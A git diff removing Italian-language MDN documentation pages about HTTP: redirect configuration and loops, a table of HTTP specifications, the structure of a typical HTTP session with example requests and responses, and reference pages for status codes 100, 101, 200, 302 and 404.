direttiva <code>rewrite</code>:</p> - -<pre class="notranslate">rewrite ^/images/(.*)$ https://images.example.com/$1 redirect; -rewrite ^/images/(.*)$ https://images.example.com/$1 permanent; -</pre> - -<h3 id="IIS">IIS</h3> - -<p>In IIS, vengono usate gli elementi <code><a href="https://www.iis.net/configreference/system.webserver/httpredirect"><httpRedirect></a></code> per configurare i reindirizzamenti.</p> - -<h2 id="Loop_di_reindirizzamenti">Loop di reindirizzamenti</h2> - -<p>I loop di reindirizzamenti succedono quando dei reindirizzamenti aggiuntivi seguono quello che è stato appena seguito. In altre parole, si crea un loop che non finirà mai e in cui nessuna pagina verrà mai trovata.</p> - -<p>La maggior parte delle volte, questo è un problema lato server, e se il server non riesce a rilevarlo, manderà indietro un {{HTTPStatus("500")}} <code>Internal Server Error</code>. Se si incontra un errore del genere subito dopo aver modificato la configurazione di un server, questo e molto probabile sia un loop di reindirizzamenti.</p> - -<p>Qualche volta, il server non lo rileverà: un loop di reindirizzamenti può concernere diversi server, senza che nessuno di essi abbia il quadro completo della situazione. In questo caso, i browser lo rileveranno e manderanno a schermo un messaggio di errore. Firefox manda:</p> - -<blockquote> -<p class="bz_comment_text">Firefox has detected that the server is redirecting the request for this address in a way that will never complete</p> - -<p class="bz_comment_text">(Firefox ha rilevato che il server sta reindirizzando la richiesta per questo indirizzo in un modo che non si completerà mai)</p> -</blockquote> - -<p>…mentre Chrome manda:</p> - -<blockquote> -<p>This Webpage has a redirect loop</p> - -<p>(Questa pagina web ha un loop di reindirizzamenti)</p> -</blockquote> - -<p>In entrambi i casi l'utente non potrà fare molto (a meno che una corruzione di qualche tipo non stia accadendo dal loro lato, come un'incompatiblità della cache o dei cookies).</p> - -<p>E' importante evitare loop di reindirizzamenti, visto che romperebbero completamente quello che l'utente sperimentrà.</p> diff --git a/files/it/web/http/resources_and_specifications/index.html b/files/it/web/http/resources_and_specifications/index.html deleted file mode 100644 index 66e7ca5197..0000000000 --- a/files/it/web/http/resources_and_specifications/index.html +++ /dev/null @@ -1,267 +0,0 @@ ---- -title: HTTP Risorse e Specifiche -slug: Web/HTTP/Resources_and_specifications -translation_of: Web/HTTP/Resources_and_specifications ---- -<div>{{HTTPSidebar}}</div> - -<p>HTTP è stato fissato agli inizi del 1990. Progettato con un'estensibilità (in mind), ha visto numerose aggiunte negli anni; questo portò la sua specificazione a essere sparsa attraverso numerosi documenti di specifica(nel mezzo della sperimentazione di estensioni abbandonate). Questa pagina elenca risorse rilevanti sul HTTP.</p> - -<table class="standard-table"> - <thead> - <tr> - <th scope="col">Specificazione</th> - <th scope="col">Titolo</th> - <th scope="col">Stato</th> - </tr> - </thead> - <tbody> - <tr> - <td>{{rfc(7230)}}</td> - <td>Hypertext Transfer Protocol (HTTP/1.1): Sintassi e Instradamento dei messaggi</td> - <td>Standard Proposto</td> - </tr> - <tr> - <td>{{rfc(7231)}}</td> - <td>Hypertext Transfer Protocol (HTTP/1.1): Semantica e Contenuti</td> - <td>Standard Proposto</td> - </tr> - <tr> - <td>{{rfc(7232)}}</td> - <td>Hypertext Transfer Protocol (HTTP/1.1): Richieste condizionate</td> - <td>Standard Proposto</td> - </tr> - <tr> - <td>{{rfc(7233)}}</td> - <td>Hypertext Transfer Protocol (HTTP/1.1): Intervallo di Richieste</td> - <td>Standard Proposto</td> - </tr> - <tr> - <td>{{rfc(7234)}}</td> - <td>Hypertext Transfer Protocol (HTTP/1.1): Caching</td> - <td>Standard Proposto</td> - </tr> - <tr> - <td>{{rfc(5861)}}</td> - <td>HTTP Estensioni di controllo della cache per contenuti obsoleti</td> - <td>Informativo</td> - </tr> - <tr> - <td>{{rfc(8246)}}</td> - <td>HTTPost Risposte immutabili</td> - <td>Standard Proposto</td> - </tr> - <tr> - <td>{{rfc(7235)}}</td> - <td>Hypertext Transfer Protocol (HTTP/1.1): Autenticazione</td> - <td>Standard Proposto</td> - </tr> - <tr> - <td>{{rfc(6265)}}</td> - <td>HTTP Meccanismo di gestione statale<br> - Definisce i cookie</td> - <td>Standard Proposto</td> - </tr> - <tr> - <td><a href="https://tools.ietf.org/html/draft-ietf-httpbis-cookie-prefixes-00">Specifica abbozzata</a></td> - <td>Prefissi dei cookie</td> - <td>IETF Proposto</td> - </tr> - <tr> - <td><a href="https://tools.ietf.org/html/draft-ietf-httpbis-cookie-prefixes-00">Specifica abbozzata</a></td> - <td>Cookie di uno stesso sito</td> - <td>IETF Proposto</td> - </tr> - <tr> - <td><a href="https://tools.ietf.org/html/draft-ietf-httpbis-cookie-prefixes-00">Specifica abbozzata</a></td> - <td>Disapprova la modifica dei cookie 'sicuri' di origine non sicura</td> - <td>IETF Proposto</td> - </tr> - <tr> - <td>{{rfc(2145)}}</td> - <td>Uso e interpretazione dei numeri di versione HTTP</td> - <td>Informativo</td> - </tr> - <tr> - <td>{{rfc(6585)}}</td> - <td>Codici di stato HTTP aggiuntivi</td> - <td>Standard Proposto</td> - </tr> - <tr> - <td>{{rfc(7538)}}</td> - <td>Il codice di stato del protocollo di trasferimento ipertestuale 308 (reindirizzamento permanente)</td> - <td>Standard Proposto</td> - </tr> - <tr> - <td>{{rfc(7725)}}</td> - <td>Un codice di stato HTTP per segnalare gli ostacoli legali</td> - <td>Sul binario standard</td> - </tr> - <tr> - <td>{{rfc(2397)}}</td> - <td>Lo schema URL "data"</td> - <td>Standard Proposto</td> - </tr> - <tr> - <td>{{rfc(3986)}}</td> - <td>Uniform Resource Identifier (URI): Sintassi Generica</td> - <td>Internet Standard</td> - </tr> - <tr> - <td>{{rfc(5988)}}</td> - <td>Web Linking<br> - <em>Definisce il {{HTTPHeader("Link")}} dell'intestazione</em></td> - <td>Standard Proposto</td> - </tr> - <tr> - <td><a href="https://tools.ietf.org/id/draft-thomson-hybi-http-timeout-01.html">Specifiche sperimentali</a></td> - <td>Hypertext Transfer Protocol (HTTP) Intestazine Keep-Alive</td> - <td>Informativo (Scaduta)</td> - </tr> - <tr> - <td><a href="https://tools.ietf.org/html/draft-ietf-httpbis-cookie-prefixes-00">Specifica abbozzata</a></td> - <td>HTTP Sugerimenti del Client</td> - <td>IETF Proposto</td> - </tr> - <tr> - <td>{{rfc(7578)}}</td> - <td>Valori restituiti dai moduli: multipart/form-data</td> - <td>Standard Proposto</td> - </tr> - <tr> - <td>{{rfc(6266)}}</td> - <td>Utilizzo del campo Content-Disposition Header nel Hypertext Transfer Protocol (HTTP)</td> - <td>Standard Proposto</td> - </tr> - <tr> - <td>{{rfc(2183)}}</td> - <td>Comunicare le informazioni di presentazione nei messaggi Internet: Il campo di intestazione Content-Disposition<br> - Solo un sottoinsieme di sintassi del<em> {{HTTPHeader("Content-Disposition")}} header può essere utilizzato nel contesto dei messaggi HTTP.</em></td> - <td>Standard Proposto</td> - </tr> - <tr> - <td>{{rfc(7239)}}</td> - <td>Estensione HTTP inoltrata</td> - <td>Standard Proposto</td> - </tr> - <tr> - <td>{{rfc(6455)}}</td> - <td>Il protocollo Websocket</td> - <td>Standard Proposto</td> - </tr> - <tr> - <td>{{rfc(5246)}}</td> - <td>Il Transport Layer Security (TLS) Protocol Version 1.2<br> - Questa specifica è stata modificata dalle RFC successive, ma queste modifiche non hanno effetto sul protocollo HTTP.</td> - <td>Standard Proposto</td> - </tr> - <tr> - <td>{{rfc(8446)}}</td> - <td>Il Transport Layer Security (TLS) Protocol Version 1.3<br> - <em>Sostituisce il TLS 1.2.</em></td> - <td>Standard Proposto</td> - </tr> - <tr> - <td>{{rfc(2817)}}</td> - <td>Aggiornamento del TLS all'interno HTTP/1.1</td> - <td>Standard Proposto</td> - </tr> - <tr> - <td>{{rfc(7540)}}</td> - <td>Hypertext Transfer Protocol Versione 2 (HTTP/2)</td> - <td>Standard Proposto</td> - </tr> - <tr> - <td>{{rfc(7541)}}</td> - <td>HPACK: Compressione dell'intestazione per HTTP/2</td> - <td>Sul Binario Standard</td> - </tr> - <tr> - <td>{{rfc(7838)}}</td> - <td>HTTP Servizio Alternativo</td> - <td>Sul Binario Standard</td> - </tr> - <tr> - <td>{{rfc(7301)}}</td> - <td>Transport Layer Security (TLS) Estensione della negoziazione del protocollo Application-Layer<br> - Usato per negoziare HTTP/2 durante il trasporto per salvare una richiesta extra/risposta andata e ritorno.</td> - <td>Standard Proposto</td> - </tr> - <tr> - <td>{{rfc(6454)}}</td> - <td>Concetto dell'origine del web</td> - <td>Standard Proposto</td> - </tr> - <tr> - <td>{{SpecName('Fetch', '#cors-protocol', 'CORS')}}</td> - <td>Cross-Origin Resource Sharing (Utilizzo risorse di altre pagine)</td> - <td>{{Spec2("Fetch")}}</td> - </tr> - <tr> - <td>{{rfc(7034)}}</td> - <td>HTTP Campo dell'intestazione Opzioni X-Frame</td> - <td>Informativo</td> - </tr> - <tr> - <td>{{rfc(6797)}}</td> - <td>HTTP Strict Transport Security (HSTS)</td> - <td>Standard Proposto</td> - </tr> - <tr> - <td>{{SpecName("Upgrade Insecure Requests")}}</td> - <td>Aggiorna le richieste insicure</td> - <td>{{Spec2("Upgrade Insecure Requests")}}</td> - </tr> - <tr> - <td>{{SpecName("CSP 1.0")}}</td> - <td>Politica di sicurezza dei contenuti 1.0<br> - <em>CSP 1.1 e CSP 3.0 non estende lo standard HTTP</em></td> - <td>{{Spec2("CSP 1.0")}}</td> - </tr> - <tr> - <td><a href="https://msdn.microsoft.com/en-us/library/jj676915(v=vs.85).aspx">Documenti Microsoft</a></td> - <td>Specificare le modalità del documento legale*<br> - Definisce X-UA-Compatible</td> - <td>Note</td> - </tr> - <tr> - <td>{{rfc(5689)}}</td> - <td>HTTP Estensioni per Web Distributed Authoring e Versioning (Webdav)<br> - Queste estensioni del Web, così come Carddav e Caldav, sono fuori portata per HTTP sul Web. Le API moderne per l'applicazione sono definite utilizzando il modello Restful al giorno d'oggi.</td> - <td>Standard Proposto</td> - </tr> - <tr> - <td>{{rfc(2324)}}</td> - <td>Hyper Text Coffee Pot Control Protocol (HTCPCP/1.0)</td> - <td>Specifiche scherzo del primo d'aprile</td> - </tr> - <tr> - <td>{{rfc(7168)}}</td> - <td>Il Hyper Text Coffee Pot Control Protocol per Tea Efflux Appliances (HTCPCP-TEA)</td> - <td>Specifiche scherzo del primo d'aprile</td> - </tr> - <tr> - <td>{{SpecName("HTML WHATWG")}}</td> - <td>HTML<br> - <em>Definisce le estensioni di HTTP per gli eventi inviati dal server.</em></td> - <td>{{Spec2("HTML WHATWG")}}</td> - </tr> - <tr> - <td><a href="https://www.w3.org/2011/tracking-protection/drafts/tracking-dnt.html">Espressioni preferite di Tracciamento</a></td> - <td>Intestazione DNT</td> - <td> - <p>Bozza dell'autore/ Candidato raccomandato</p> - </td> - </tr> - <tr> - <td> <a href="http://wicg.github.io/reporting/">Reporting API</a></td> - <td><code>Report-To</code> header</td> - <td>Proposta</td> - </tr> - <tr> - <td><a href="https://tools.ietf.org/html/draft-ietf-httpbis-cookie-prefixes-00">Specifica abbozzata</a></td> - <td>Expect-CT Estensione per HTTP</td> - <td>IETF Proposta</td> - </tr> - </tbody> -</table> diff --git a/files/it/web/http/session/index.html b/files/it/web/http/session/index.html deleted file mode 100644 index 77a226b673..0000000000 --- a/files/it/web/http/session/index.html +++ /dev/null @@ -1,172 +0,0 @@ ---- -title: Una tipica sessione HTTP -slug: Web/HTTP/Session -translation_of: Web/HTTP/Session -original_slug: Web/HTTP/Sessione ---- -<div>{{HTTPSidebar}}</div> - -<p>Nei protocolli client-server come l’HTTP, la sessione è composta da tre fasi:</p> - -<ol> - <li>Il cliente stabilisce una connessione TCP (o l’appropriata connessione nel caso non sia TCP).</li> - <li>Il cliente manda la sua richiesta e aspetta per la risposta.</li> - <li>Il server processa la richiesta, mandando poi la sua risposta, con al suo interno il codice di stato e un dato appropriato.</li> -</ol> - -<p>Da quando è uscito HTTP/1.1, la connessione non si chiude più dopo la terza fase, e il cliente può fare un altra richiesta: questo significa che la seconda e terza fase possono essere usate molte volte.</p> - -<h2 id="Stabilire_una_connessione"><strong>Stabilire una connessione</strong></h2> - -<p>Nei protocolli client-server è il client che stabilisce la connessione. Aprire una connessione in HTTP significa avviare una connessione nel livello di trasporto sottostante, che di solito è il TCP.</p> - -<p>Con TCP la porta di default, per un server HTTP su un computer, è la porta 80. Possono essere usate anche altre porte, come la 8000 o la 8080. L’URL della pagina da raggiungere contiene sia il nome del dominio che la numero di porta, anche se quest’ultimo può essere omesso se è 80. Vedi <a href="https://developer.mozilla.org/en-US/docs/Web/HTTP/Basics_of_HTTP/Identifying_resources_on_the_Web">identificare le risorse sul web</a> per maggiori dettagli.</p> - -<div class="note"><strong>Nota:</strong> Il modello client-server non permette al server di inviare dati al client senza una specifica richiesta da parte di esso. Per aggirare questo problema, gli sviluppatori web usano varie tecniche: pingare il server periodicamente con <a href="https://developer.mozilla.org/en-US/docs/Web/API/XMLHTTPRequest">XMLHTTPRequest</a>, <a href="https://developer.mozilla.org/en-US/docs/Web/API/Fetch">Fetch</a> APIs, usando il <a href="https://developer.mozilla.org/en/WebSockets">WebSockets API</a>, o protocolli simili.</div> - -<h2 id="Mandare_una_client_request">Mandare una client request</h2> - -<p>Una volta che la connessione si è stabilita, il programma utente può mandare la richiesta (un programma utente è tipicamente un web browser, ma può essere tante cose, per esempio un motore di ricerca). Una client request consiste nelle direttive testuali, separate dal CRLF (carriage return line feed), divise in 3 blocchi:</p> - -<ol> - <li>La prima riga contiene un request method seguito dai suoi parametri: - <ul> - <li>il percorso di un documento, quindi l’URL assoluto senza protocollo o dominio.</li> - <li>Versione del protocollo HTTP.</li> - </ul> - </li> - <li>righe susseguenti rappresentano un header HTTP, che danno al server le informazioni su quale tipo di dato è più appropriato (ad esempio che liguaggio o tipo di MIME) o altri dati che alterano il suo comportamento (ad esempio non mandare una risposta anche se già memorizzata nella cache). Gli header HTTP formano un blocco che termina con una riga vuota.</li> - <li>L’ultimo blocco è facoltativo, e contiene dati superflui usati principalmente dal POST method.</li> -</ol> - -<h3 id="Esempi">Esempi:</h3> - -<p>recuperare la pagina radice di <a href="https://wiki.developer.mozilla.org/">developer.mozilla.org</a> , e dire al server che il programma utente preferirebbe, se possibile, avere la pagina in lingua francese.</p> - -<pre class="notranslate">GET / HTTP/1.1 -Host: developer.mozilla.org -Accept-Language: fr -</pre> - -<p>Si osservi che l’ultima riga è vuota, questo separa il blocco data da quello header. Dato che non c’è nessuna content-lenght nell’ header HTTP, questo blocco di dati si presenta vuoto, marcando la fine degli headers, permettendo così al server di processare la richiesta dal momento in cui riceve quella riga vuota.</p> - -<p>Per esempio, mandando il risultato di un form:</p> - -<pre class="notranslate">POST /contact_form.php HTTP/1.1 -Host: developer.mozilla.org -Content-Length: 64 -Content-Type: application/x-www-form-urlencoded - -name=Joe%20User&request=Send%20me%20one%20of%20your%20catalogue -</pre> - -<h3 id="Metodi_di_richiesta">Metodi di richiesta</h3> - -<p>L’HTTP definisce un set di <a href="https://wiki.developer.mozilla.org/en-US/docs/Web/HTTP/Methods">richieste metodo</a> che indicano l’azione desiderata da fare a seconda della risorsa. Anche se possono essere nomi, queste richieste sono alcune volte riferite come dei verbi HTTP. La richieste più comuni sono GET e POST:</p> - -<ul> - <li>il metodo GET richiede un dato rappresentante la risorsa specificata. Richieste fatte usando il GET può solo recuperare dati.</li> - <li>Il metodo POST invia dati al server che potrebbe cambiare il suo stato. Questo è il metodo spesso usati per i <a href="https://wiki.developer.mozilla.org/en-US/docs/Web/Guide/HTML/Forms">Form HTML</a>.</li> -</ul> - -<h2 id="Struttura_di_una_risposta_server"><strong>Struttura di una risposta server</strong></h2> - -<p>Dopo che l’agente connesso ha inviato la richiesta, il web server lo processa, e alla fine restituisce una risposta. Analogamente alla richiesta client, una risposta server è formata da direttive, separate dal CRLF, sebbene divise in tre blocchi:</p> - -<ol> - <li>La prima linea, la<em>status line</em>, consiste in un riconoscimento della versione http usata, seguita da un status request (e il suo breve significato in parole comprensibili dall’uomo).</li> - <li>Le righe successive rappresentano specifici header HTTP, che danno al client informazioni riguardanti i dati inviati (per esempio: tipo, dimensione dei dati, algoritmo di compressione usato, note sul caching). Analogamente al blocco di header HTTP di una richiesta client, questi header HTTP formano un blocco finale con una linea vuota.</li> - <li>Il blocco finale è un blocco di dati, che contieni i dati opzionali.</li> -</ol> - -<h3 id="Esempio_di_risposte"><strong>Esempio di risposte</strong></h3> - -<p>Risposta pagina web riuscita:</p> - -<pre class="notranslate">HTTP/1.1 200 OK -Content-Type: text/html; charset=utf-8 -Content-Length: 55743 -Connection: keep-alive -Cache-Control: s-maxage=300, public, max-age=0 -Content-Language: en-US -Date: Thu, 06 Dec 2018 17:37:18 GMT -ETag: "2e77ad1dc6ab0b53a2996dfd4653c1c3" -Server: meinheld/0.6.1 -Strict-Transport-Security: max-age=63072000 -X-Content-Type-Options: nosniff -X-Frame-Options: DENY -X-XSS-Protection: 1; mode=block -Vary: Accept-Encoding,Cookie -Age: 7 - - -<!DOCTYPE html> -<html lang="en"> -<head> - <meta charset="utf-8"> - <title>A simple webpage</title> -</head> -<body> - <h1>Simple HTML5 webpage</h1> - <p>Hello, world!</p> -</body> -</html> -</pre> - -<p>Notifica che la risorsa richiesta è stata definitivamente trasferita:</p> - -<pre class="notranslate">HTTP/1.1 301 Moved Permanently -Server: Apache/2.4.37 (Red Hat) -Content-Type: text/html; charset=utf-8 -Date: Thu, 06 Dec 2018 17:33:08 GMT -Location: <a class="linkification-ext" href="../../../../" title="Linkification: https://developer.mozilla.org/">https://developer.mozilla.org/</a> <strong><em>(questo è il nuovo link della risorsa; ci si aspetta che l’utente agente lo prenda)</em></strong> -Keep-Alive: timeout=15, max=98 -Accept-Ranges: bytes -Via: Moz-Cache-zlb05 -Connection: Keep-Alive -Content-Length: 325 <em>(</em><strong><em>Il contenuto è una pagina di default da mostrare se l’utente agente non è in grado di seguire il link</em></strong><em><strong>)</strong></em> - - -<!DOCTYPE html... <strong><em>(contiene un pagina personalizzata che aiuta l’utente a trovare la risorsa mancante)</em></strong> -</pre> - -<p>Notifica che la risorsa richiesta non esiste:</p> - -<pre class="notranslate">HTTP/1.1 404 Not Found -Content-Type: text/html; charset=utf-8 -Content-Length: 38217 -Connection: keep-alive -Cache-Control: no-cache, no-store, must-revalidate, max-age=0 -Content-Language: en-US -Date: Thu, 06 Dec 2018 17:35:13 GMT -Expires: Thu, 06 Dec 2018 17:35:13 GMT -Server: meinheld/0.6.1 -Strict-Transport-Security: max-age=63072000 -X-Content-Type-Options: nosniff -X-Frame-Options: DENY -X-XSS-Protection: 1; mode=block -Vary: Accept-Encoding,Cookie -X-Cache: Error from cloudfront - - -<!DOCTYPE html... <strong><em>(contiene un pagina personalizzata che aiuta l’utente a trovare la risorsa mancante)</em></strong> -</pre> - -<h3 id="Status_code_di_risposta"><strong>Status code di risposta</strong></h3> - -<p><a href="https://wiki.developer.mozilla.org/en-US/docs/Web/HTTP/Status">HTTP response status codes</a> indica se una specifica richiesta HTTP sia stata completata con successo. Le risposte sono suddivise in cinque classi: risposte informative, risposte di successo, reindirizzamenti, errori client, ed errori server.</p> - -<ul> - <li>{{HTTPStatus(200)}}: OK. La richiesta ha avuto successo.</li> - <li>{{HTTPStatus(301)}}: Definitivamente Trasferita. Questo codice di risposta significa che l’URL della risorsa richiesta è stata cambiata.</li> - <li>{{HTTPStatus(404)}}: Non trovato. Il server non riesce a trovare la risorsa richiesta.</li> -</ul> - -<h2 id="Vedi_anche"><strong>Vedi anche</strong></h2> - -<ul> - <li><a href="https://developer.mozilla.org/en-US/docs/Web/HTTP/Basics_of_HTTP/Identifying_resources_on_the_Web">Identificare le risorse sul web</a></li> - <li><a href="https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers">Header HTTP</a></li> - <li><a href="https://developer.mozilla.org/en-US/docs/Web/HTTP/Methods">Metodi di risposta HTTP</a></li> - <li><a href="https://developer.mozilla.org/en-US/docs/Web/HTTP/Status">Status codes di risposta HTTP</a><a href="/en-US/docs/Web/HTTP/Status"> </a></li> -</ul> diff --git a/files/it/web/http/status/100/index.html b/files/it/web/http/status/100/index.html deleted file mode 100644 index 78a7c0a159..0000000000 --- a/files/it/web/http/status/100/index.html +++ /dev/null @@ -1,42 +0,0 @@ ---- -title: 100 Continue -slug: Web/HTTP/Status/100 -translation_of: Web/HTTP/Status/100 ---- -<div>{{HTTPSidebar}}</div> - -<p>La risposta informativa HTTP <strong><code>100 Continue</code></strong> indica che non si sono verificati errori e che il client può continuare con la richiesta o ignorarla nel caso fosse finita.</p> - -<p>Per far si che il server controlli l'header della richiesta, il client deve mandare {{HTTPHeader("Expect")}}<code>: 100-continue</code> come header nella sua richiesta iniziale e deve ricevere un <code>100 Continue</code> come codice di risposta prima di poter mandare il corpo della richiesta.</p> - -<h2 id="Stato">Stato</h2> - -<pre class="syntaxbox">100 Continue</pre> - -<h2 id="Specifiche">Specifiche</h2> - -<table class="standard-table" style="font-family: Arial,x-locale-body,sans-serif; font-size: 1rem; letter-spacing: -0.00278rem;"> - <tbody> - <tr> - <th scope="col">Specification</th> - <th scope="col">Title</th> - </tr> - <tr> - <td>{{RFC("7231", "100 Continue" , "6.2.1")}}</td> - <td>Hypertext Transfer Protocol (HTTP/1.1): Semantica e Contenuti</td> - </tr> - </tbody> -</table> - -<h2 id="Compatibilità_con_i_browser">Compatibilità con i browser</h2> - -<p class="hidden">La tabella di compatibilità di questa pagina è stata generata da dati strutturati. Se vorresti contribuire ai dati, per favore controlla <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> e inviaci una pull request.</p> - -<p>{{Compat("http.status.100")}}</p> - -<h2 id="Vedi_anche">Vedi anche</h2> - -<ul> - <li>{{HTTPHeader("Expect")}}</li> - <li>{{HTTPStatus(417)}}</li> -</ul> diff --git a/files/it/web/http/status/101/index.html b/files/it/web/http/status/101/index.html deleted file mode 100644 index 7e9c0e940f..0000000000 --- a/files/it/web/http/status/101/index.html +++ /dev/null @@ -1,51 +0,0 @@ ---- -title: 101 switch di protocolli -slug: Web/HTTP/Status/101 -tags: - - HTTP - - HTTP Status Code - - Referenza - - WebSockets -translation_of: Web/HTTP/Status/101 ---- -<div>{{HTTPSidebar}}</div> - -<p>Il codice di risposta (response) HTTP <code><strong>101 Switching Protocols</strong></code> indica il protocollo cui il server sta passando, come richiesto dal client che ha inviato il messaggio includendo {{HTTPHeader("Upgrade")}} nell'header della richiesta.</p> - -<p>In questa risposta il server include l'header {{HTTPHeader("Upgrade")}} che indica qual'è il protocollo adottato. Il processo è descritto in dettaglio nell'articolo <a href="/en-US/docs/Web/HTTP/Protocol_upgrade_mechanism">Protocol upgrade mechanism</a>.</p> - -<h2 id="Status">Status</h2> - -<pre class="syntaxbox">101 Switching Protocols</pre> - -<h2 id="Esempi">Esempi</h2> - -<p>Switching protocols può essere usato con <a href="/en-US/docs/Web/API/WebSockets_API">WebSockets</a>.</p> - -<pre>HTTP/1.1 101 Switching Protocols -Upgrade: websocket -Connection: Upgrade</pre> - -<h2 id="Specifiche">Specifiche</h2> - -<table class="standard-table"> - <tbody> - <tr> - <th scope="col">Specification</th> - <th scope="col">Title</th> - </tr> - <tr> - <td>{{RFC("7231", "101 Switching Protocol" , "6.2.2")}}</td> - <td>Hypertext Transfer Protocol (HTTP/1.1): Semantics and Content</td> - </tr> - </tbody> -</table> - -<h2 id="Vedi_anche">Vedi anche</h2> - -<ul> - <li><a href="/en-US/docs/Web/HTTP/Protocol_upgrade_mechanism">Protocol upgrade mechanism</a></li> - <li><a href="/en-US/docs/Web/API/WebSockets_API">WebSockets</a></li> - <li>{{HTTPHeader("Upgrade")}}</li> - <li>{{HTTPStatus("426")}} <code>Upgrade Required</code></li> -</ul> diff --git a/files/it/web/http/status/200/index.html b/files/it/web/http/status/200/index.html deleted file mode 100644 index 8350428043..0000000000 --- a/files/it/web/http/status/200/index.html +++ /dev/null @@ -1,55 +0,0 @@ ---- -title: 200 OK -slug: Web/HTTP/Status/200 -tags: - - Codici di stato - - HTTP - - Successo -translation_of: Web/HTTP/Status/200 ---- -<div>{{HTTPSidebar}}</div> - -<p>Il codice di successo di risposta <strong><code>200 OK</code></strong> indica che la richiesta ha avuto successo.<br> - Una risposta 200 è inserita nella cache di default.</p> - -<p>Il significato di successo dipende dal metodo HTTP di richiesta:</p> - -<ul> - <li>{{HTTPMethod("GET")}}: La risorsa è stata presa in carico e trasmessa nel corpo del messaggio.</li> - <li>{{HTTPMethod("HEAD")}}: Le intestazioni dell'entità sono nel corpo del messaggio.</li> - <li>{{HTTPMethod("POST")}}: La risorsa che descrive il risultato dell'azione è nel corpo del messaggio.</li> - <li>{{HTTPMethod("TRACE")}}: Il corpo del messaggio contiene la richiesta del messaggio come ricevuta dal server.</li> -</ul> - -<p>Il risultato di successo di un {{HTTPMethod("PUT")}} o di un {{HTTPMethod("DELETE")}} spesso non è un <code>200</code> <code>OK</code> ma un {{HTTPStatus("204")}} <code>No Content</code> (o un {{HTTPStatus("201")}} <code>Created</code> quando la risorsa è caricata per la prima volta.</p> - -<h2 id="Stato">Stato</h2> - -<pre class="syntaxbox">200 OK</pre> - -<h2 id="Specifiche">Specifiche</h2> - -<table class="standard-table"> - <tbody> - <tr> - <th scope="col">Specifica</th> - <th scope="col">Titolo</th> - </tr> - <tr> - <td>{{RFC("7231", "200 OK" , "6.3.1")}}</td> - <td>Hypertext Transfer Protocol (HTTP/1.1): Semantics and Content</td> - </tr> - </tbody> -</table> - -<h2 id="Compatibilità_Browser">Compatibilità Browser</h2> - -<p class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p> - -<p>{{Compat("http.status.200")}}</p> - -<h2 id="Vedi_anche">Vedi anche</h2> - -<ul> - <li><a href="/en-US/docs/Web/HTTP/Methods">HTTP metodi di richiesta</a></li> -</ul> diff --git a/files/it/web/http/status/302/index.html b/files/it/web/http/status/302/index.html deleted file mode 100644 index db5c6be595..0000000000 --- a/files/it/web/http/status/302/index.html +++ /dev/null @@ -1,50 +0,0 @@ ---- -title: 302 Found -slug: Web/HTTP/Status/302 -tags: - - HTTP - - Redirezione -translation_of: Web/HTTP/Status/302 ---- -<div>{{HTTPSidebar}}</div> - -<p>Lo stato <code><strong>302 Found</strong></code> dell'HyperText Transfer Protocol (HTTP) indica che la risorsa richiesta é stata spostata temporaneamente all'URL definito nell'header {{HTTPHeader("Location")}}. Un browser effettua un redirect a tale pagina ma i motori di ricerca non aggiornano i propri link alla risorsa (in 'linguaggio-SEO', si dice che che il 'link-juice' non é inviato al nuovo URL).</p> - -<p>Anche se la specifica richiede che il metodo (e il body) della richiesta non vengano alterati quando al momento del redirect, non tutti gli user-agents si comportano allo stesso modo - ed é ancora possibile incorrere in questo tipo di software problematico. É quindi raccomandato impostare il codice <code>302</code> solo in risposta ai metodi {{HTTPMethod("GET")}} o {{HTTPMethod("HEAD")}}, in quanto la modifica del metodo é esplicitamente proibita in tal caso.</p> - -<p>Nei casi in cui si volesse che il metodo venga cambiato in {{HTTPMethod("GET")}}, va piuttosto utilizzato {{HTTPStatus("303", "303 See Other")}}. Ció risulta utile quando si vuole rispondere a un metodo {{HTTPMethod("PUT")}} non con la risorsa aggiornata ma con un messaggio di conferma, del tipo: 'la risorsa XYZ é stata aggiornata con successo'.</p> - -<h2 id="Stato">Stato</h2> - -<pre class="syntaxbox">302 Found</pre> - -<h2 id="Specifiche">Specifiche</h2> - -<table class="standard-table"> - <thead> - <tr> - <th scope="col">Specifica</th> - <th scope="col">Titolo</th> - </tr> - </thead> - <tbody> - <tr> - <td>{{RFC("7231", "302 Found" , "6.4.3")}}</td> - <td>Hypertext Transfer Protocol (HTTP/1.1): Semantics and Content</td> - </tr> - </tbody> -</table> - -<h2 id="Compatibilità_Browser">Compatibilità Browser</h2> - - - -<p>{{Compat("http.status.302")}}</p> - -<h2 id="Vedi_anche">Vedi anche</h2> - -<ul> - <li>{{HTTPStatus("307", "307 Temporary Redirect")}}, the equivalent of this status code where the method used never changes.</li> - <li>{{HTTPStatus("303", "303 See Other")}}, a temporary redirect that changes the method used to {{HTTPMethod("GET")}}.</li> - <li>{{HTTPStatus("301", "301 Moved Permanently")}}, the permanent redirect.</li> -</ul> diff --git a/files/it/web/http/status/404/index.html b/files/it/web/http/status/404/index.html deleted file mode 100644 index 011dcc3553..0000000000 --- a/files/it/web/http/status/404/index.html +++ /dev/null @@ -1,62 +0,0 @@ ---- -title: 404 Not Found -slug: Web/HTTP/Status/404 -tags: - - Browser - - Codice di stato - - Errore lato cliente - - HTTP - - Stato -translation_of: Web/HTTP/Status/404 ---- -<div>{{HTTPSidebar}}</div> - -<p>Il codice di risposta <code><strong>404 Not Found</strong></code> indica che il server non è riuscito a trovare la risorsa richiesta. I collegamenti (link) che portano a una pagina 404 sono spesso il risultato di chiamate errate o collegamenti non più attivi, e possono essere dovuti a fenomeni di server non più attivi (<a href="https://en.wikipedia.org/wiki/Link_rot">link rot</a>).</p> - -<p>Un codice di stato 404 non fornisce indicazioni il merito al fatto che si tratti di una risorsa non trovata temporaneamente o permanentemente. Se una risorsa è stata permanentemente eliminata, il server che la ospitava dovrebbe restiture un codice {{HTTPStatus(410)}} (Gone) invece dello stato 404.</p> - -<h2 id="Stato">Stato</h2> - -<pre class="syntaxbox">404 Not Found</pre> - -<h2 id="Pagine_di_errore_personalizzate">Pagine di errore personalizzate</h2> - -<p>Molti siti web personalizzano l'aspetto di una pagina 404 in modo che sia di maggior aiuto all'utente indicando magari quali azioni può intraprendere per arrivare alla pagina desiderata. I server Apache possono essere confiugrati per restituire una pagina personalizzata modificando il file <strong><code>.htaccess</code></strong> e introducendo una riga di codice come la seguente.</p> 